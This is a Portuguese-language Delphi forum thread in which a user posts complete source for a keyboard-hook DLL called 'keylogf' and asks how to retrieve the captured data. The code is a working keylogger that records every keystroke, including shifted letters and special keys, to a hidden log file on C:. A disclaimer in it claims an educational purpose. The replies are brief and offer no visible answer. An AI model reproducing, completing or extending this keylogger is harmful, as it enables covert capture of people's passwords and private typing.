Fórum Como Pegar Dados Dessa DLL ??? #228809
29/04/2004
0
O Codigo Abaixo gera um arquivo, direto de dendro da dll e grava no HD.
Tentei de varias maneiras, mas não consegui.
Agradeço pela ajudinha...
library keylogf;
{******************************************************************************
Favor não retirar esse comentário do código.
keylogf foi desenvolvido por: Richard de Jesus Natal
Este código é freeware e foi desenvolvido com propósitos educacionais somente.
O Autor não se responsabiliza por qualquer uso indevido do código contido aqui.
Bom divertimento.
******************************************************************************}
uses
Windows,
SysUtils;
{$R *.RES}
const
arq:string=´c:\keylog.log´;
function KeyboardHookProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
var
b1,b2:Boolean;
ArqLog:TextFile;
tecla:String[255];
begin
if (code <> HC_NOREMOVE)and(lParam<0) then begin
AssignFile(ArqLog,arq);
try
if fileexists(arq) then
Append(ArqLog)
else
ReWrite(ArqLog);
case wParam of
VK_SHIFT, VK_CAPITAL, VK_MENU:begin
//ignore estas teclas
end;
VK_BACK:begin
Write(ArqLog,´[BKSP]´);
end;
VK_TAB:begin
Write(ArqLog,´[TAB]´);
end;
VK_RETURN:begin
WriteLN(ArqLog,´[ENTER]´);
end;
VK_ESCAPE:begin
Write(ArqLog,´[ESC]´);
end;
32..64:begin
Write(ArqLog,chr(Byte(wParam)));
end;
65..90:begin// todas as letras
b1:=GetKeyState(VK_SHIFT)<0; // verifica se o Shift está pressionado
b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock
if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock
Write(ArqLog,chr(Byte(wParam+32))) // coloca em minusculo
else
Write(ArqLog,chr(Byte(wParam)));
end;
VK_NUMPAD0..VK_NUMPAD9:begin
Write(ArqLog,chr(Byte(wParam-VK_NUMPAD0+48)));
end;
else begin
tecla:=´´;
GetKeyNameText(LParam,@tecla[1],254);
Write(ArqLog,´[´+tecla+´]´);
end;
end;
Flush(ArqLog);
finally
CloseFile(ArqLog);
end;
end;
Result := CallNextHookEx(HHOOK(nil), code, wParam, lParam);
end;
exports
KeyboardHookProc;
begin
end.
Alves
Curtir tópico
+ 0Posts
29/04/2004
Nildo
Gostei + 0
29/04/2004
Alves
Valeu
Gostei + 0
01/05/2004
Alves
Mesmo q conseguise como pegaria os dados exportados...
Gostei + 0
Clique aqui para fazer login e interagir na Comunidade :)